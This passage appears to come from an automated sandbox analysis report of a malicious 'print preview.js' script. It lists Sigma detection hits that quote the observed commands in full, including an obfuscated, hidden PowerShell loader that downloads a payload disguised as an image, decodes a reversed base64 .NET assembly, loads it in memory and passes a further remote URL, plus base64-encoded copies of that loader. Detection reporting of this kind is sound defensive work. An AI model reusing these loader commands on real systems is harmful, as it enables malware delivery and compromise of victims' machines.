EAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHI
                  Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
                  Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEac
                  Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                  Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHI
                  Sigma detected: Script Interpreter Execution From Suspicious Folder
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js, CommandLine: "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js, ProcessId: 7704, ProcessName: wscript.exe
                  Sigma detected: Suspicious Script Execution From Temp Folder
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js, CommandLine: "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7520, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js, ProcessId: 7704, ProcessName: wscript.exe
                  Sigma detected: WScript or CScript Dropper
                  Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 8176, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js", ProcessId: 7520, ProcessName: wscript.exe
                  Sigma detected: Change PowerShell Policies to an Insecure Level
                  Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHI
                  Sigma detected: Script Initiated Connection
                  Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 192.186.57.30, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7520, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49711
                  Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
                  Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEac
                  Sigma detected: Usage Of Web Request Commands And Cmdlets
                  Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEac
                  Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                  Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 8176, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js", ProcessId: 7520, ProcessName: wscript.exe
                  Sigma detected: Non Interactive PowerShell Process Spawned
                  Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvA